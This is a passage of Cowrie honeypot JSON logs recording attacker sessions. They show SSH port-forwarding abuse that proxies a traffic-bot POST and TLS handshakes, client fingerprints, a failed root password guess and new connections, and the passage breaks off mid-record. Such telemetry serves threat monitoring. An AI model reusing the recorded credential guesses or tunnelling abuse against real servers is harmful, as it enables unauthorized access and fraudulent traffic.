{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:27.967618Z","src_ip":"123.27.168.40","session":"fd10b5790c01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.1 Mobile/16G102 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=X2pMRE5yK2p%2BP1YpTDxUYg%3D%3DEuaDorwCtcQSKZ950%2FyBR31Q9Z8WXsql6tJbpxH5Ana7Hc%2F5P4cRDsdS2YSXinOpSZlP1sHFMAJSiEoIMjapmqBW8j6sYAmd5kk09BqqNtdbyFGqurxEk4lgDBL6QijxHViWmmj3EovQkNnY19mCNqg1H1jtiz9lTfFRepDXik4uYe9LK%2BdBJRTXMzAiHbc9JXJYEwUXMROYi2Q0iRZfXj1BewzRdBfC%2BxoUBk5JXAvg8Z3cUq3TYg0SG4av0F4dxm%2BzDcwfkOegiBdQXSwFwE%2FEs6SfJPLJozwIwPeBt1WRstjTt2E%2FoYWJ51ZDbStStLcjsgS9iQLQUwFfZKhIA65k%2Fy2sveQaD%2FAbnL0LSdUTC7KBTxKBWLVtC0naFw0gXC0RsH5MuEFkQa1pXOUUBZX5hC09uyz2rlmcpwLYJRItdZ1vHLhqgQ7n9vDqtm6Fi3EJX4FUFqeQ2Zcl7%2BrllD212FBYuTAYoKoq4n%2F1Rbyg5DBybGBV9N6%2Fp1Ph5BXviDM63fXf8ZQH4mHP7zXjOGVlyeSwrJLjFIlnA9u5IULVI%2FAeHTzRxY0pYiN2uvUve0cDTCjHU0tSlovLBGgg%2FD%2BPZfaDPgV1zJ5JXX9NXCsjve%2B6kQ0t%2FW0OytbEvdj3gdL1Ouqj38ZnGn3O15Y59QqF%2FReXS%2B64On8%2ByUfdLvCcNUVJHk2NbM07tB2rpNaeLSlyKdWUvKuXehPasNYwpwL%2FDj%2BRl%2BdzoQyfoLPA0YqAK1AgWa09ePeBi3IXTSlp3oVgIa%2F%2Ff6VB8%2BrTHOm02V5PwMe%2BLq1Fd2l2vFa7CEUTYiDlaAaINnixlf0Tg2sepIXUM5kgUsKi2Vg36yoM4SntVhPeSOzElae57Zj9eQEaHlfGGujpz57npSFauMVJnvDxkwBoQXhhSpqP1f0bFEhgxieewUZrORozXMQhV%2F7u9l5TbMxyO%2FlK4mxjisXBqGkt%2BC8iC%2FLixg1dXshaKo1%2Ft0LshWQBUUx%2BP6nF5IlJm0ZDHpAE4KuvX00eN4PViEVhJzwmaZD1WVoII0AzhsvTGFotEO2NOtNIGq4YlVdySC%2B11hJfPKCrVXwCgxFe'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.1 Mobile/16G102 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=X2pMRE5yK2p%2BP1YpTDxUYg%3D%3DEuaDorwCtcQSKZ950%2FyBR31Q9Z8WXsql6tJbpxH5Ana7Hc%2F5P4cRDsdS2YSXinOpSZlP1sHFMAJSiEoIMjapmqBW8j6sYAmd5kk09BqqNtdbyFGqurxEk4lgDBL6QijxHViWmmj3EovQkNnY19mCNqg1H1jtiz9lTfFRepDXik4uYe9LK%2BdBJRTXMzAiHbc9JXJYEwUXMROYi2Q0iRZfXj1BewzRdBfC%2BxoUBk5JXAvg8Z3cUq3TYg0SG4av0F4dxm%2BzDcwfkOegiBdQXSwFwE%2FEs6SfJPLJozwIwPeBt1WRstjTt2E%2FoYWJ51ZDbStStLcjsgS9iQLQUwFfZKhIA65k%2Fy2sveQaD%2FAbnL0LSdUTC7KBTxKBWLVtC0naFw0gXC0RsH5MuEFkQa1pXOUUBZX5hC09uyz2rlmcpwLYJRItdZ1vHLhqgQ7n9vDqtm6Fi3EJX4FUFqeQ2Zcl7%2BrllD212FBYuTAYoKoq4n%2F1Rbyg5DBybGBV9N6%2Fp1Ph5BXviDM63fXf8ZQH4mHP7zXjOGVlyeSwrJLjFIlnA9u5IULVI%2FAeHTzRxY0pYiN2uvUve0cDTCjHU0tSlovLBGgg%2FD%2BPZfaDPgV1zJ5JXX9NXCsjve%2B6kQ0t%2FW0OytbEvdj3gdL1Ouqj38ZnGn3O15Y59QqF%2FReXS%2B64On8%2ByUfdLvCcNUVJHk2NbM07tB2rpNaeLSlyKdWUvKuXehPasNYwpwL%2FDj%2BRl%2BdzoQyfoLPA0YqAK1AgWa09ePeBi3IXTSlp3oVgIa%2F%2Ff6VB8%2BrTHOm02V5PwMe%2BLq1Fd2l2vFa7CEUTYiDlaAaINnixlf0Tg2sepIXUM5kgUsKi2Vg36yoM4SntVhPeSOzElae57Zj9eQEaHlfGGujpz57npSFauMVJnvDxkwBoQXhhSpqP1f0bFEhgxieewUZrORozXMQhV%2F7u9l5TbMxyO%2FlK4mxjisXBqGkt%2BC8iC%2FLixg1dXshaKo1%2Ft0LshWQBUUx%2BP6nF5IlJm0ZDHpAE4KuvX00eN4PViEVhJzwmaZD1WVoII0AzhsvTGFotEO2NOtNIGq4YlVdySC%2B11hJfPKCrVXwCgxFe'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:27.970675Z","src_ip":"123.27.168.40","session":"fd10b5790c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:28.013394Z","src_ip":"103.60.242.169","session":"04c8f54f8386","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:28.193352Z","src_ip":"123.27.168.40","session":"fd10b5790c01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd76\\xb1a\\x80\\xb5\\xa9\\x9eW:\\x03\\xd1\\xa4X\\xa8_\\xf6\\x19k^-qZx\\x94\\xd1\\\\s\\xde@-\\t z\\x1c\\x15\\xee\\x8f\\xae\\x1e*{\\xc5b\\xc4w\\x18\\x06p\\xe5\\xc5\\xfd\\x1c\\xdd\\xdf\\t\\xdc\\xbc\\xedR}\\xd8\\xe1\\x148\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbd6vm\\x8f\\xd2\\x94@r\\xdd\\xe2\\x96Fo\\x8a\\x92m\\xf8)t\\x13e\\x12\\xa7l\\xda-f\\x1b\\xc0\\xba\\x08\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd76\\xb1a\\x80\\xb5\\xa9\\x9eW:\\x03\\xd1\\xa4X\\xa8_\\xf6\\x19k^-qZx\\x94\\xd1\\\\s\\xde@-\\t z\\x1c\\x15\\xee\\x8f\\xae\\x1e*{\\xc5b\\xc4w\\x18\\x06p\\xe5\\xc5\\xfd\\x1c\\xdd\\xdf\\t\\xdc\\xbc\\xedR}\\xd8\\xe1\\x148\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbd6vm\\x8f\\xd2\\x94@r\\xdd\\xe2\\x96Fo\\x8a\\x92m\\xf8)t\\x13e\\x12\\xa7l\\xda-f\\x1b\\xc0\\xba\\x08\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:28.196906Z","src_ip":"123.27.168.40","session":"fd10b5790c01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:28.648592Z","session":"fd10b5790c01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:28.881789Z","src_ip":"123.27.168.40","session":"fd10b5790c01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03q\\x92!\\xb39a\\xf0\\xa5\\x9b\\x8bH}gUq}\\x7f\\x10*4\\xf1\\xa6\\x92\\xad\\xd0\\x7f\\x0e\\xa3\\xa1C\\x94h \\x81\\t!F\\xe2\\xa5\\xe2\\xa9N\\xcd\\xb2\\xba(M1\\xb7\\xd2\\x8dM}\\xfc[`\\xcd<\\xb3:\\x12\\xfb\\xe4\\x1cO\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 >T\\xce\\xb7M0E\\x8e3I|\\x1c\\xc1\\x17rv\\xf2N\\xcb\\xd5\\xa3\\xd9iG\\xed\\x81\\x9b\\xd3|\\xfb*\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03q\\x92!\\xb39a\\xf0\\xa5\\x9b\\x8bH}gUq}\\x7f\\x10*4\\xf1\\xa6\\x92\\xad\\xd0\\x7f\\x0e\\xa3\\xa1C\\x94h \\x81\\t!F\\xe2\\xa5\\xe2\\xa9N\\xcd\\xb2\\xba(M1\\xb7\\xd2\\x8dM}\\xfc[`\\xcd<\\xb3:\\x12\\xfb\\xe4\\x1cO\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 >T\\xce\\xb7M0E\\x8e3I|\\x1c\\xc1\\x17rv\\xf2N\\xcb\\xd5\\xa3\\xd9iG\\xed\\x81\\x9b\\xd3|\\xfb*\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:28.885887Z","src_ip":"123.27.168.40","session":"fd10b5790c01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123q123q","message":"login attempt [root/123q123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:29.054825Z","src_ip":"103.60.242.169","session":"04c8f54f8386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:29.242199Z","src_ip":"123.27.168.40","session":"fd10b5790c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:30.310184Z","src_ip":"103.60.242.169","session":"04c8f54f8386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58160,"dst_ip":"159.203.135.109","dst_port":23,"session":"4029345087a3","protocol":"telnet","message":"New connection: 172.81.62.90:58160 (159.203.135.109:23) [session: 4029345087a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:32.856335Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":37330,"dst_ip":"159.203.135.109","dst_port":22,"session":"e86b0f16bc05","protocol":"ssh","message":"New connection: 103.77.175.15:37330 (159.203.135.109:22) [session: e86b0f16bc05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:40.644451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:40.648551Z","src_ip":"103.77.175.15","session":"e86b0f16bc05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 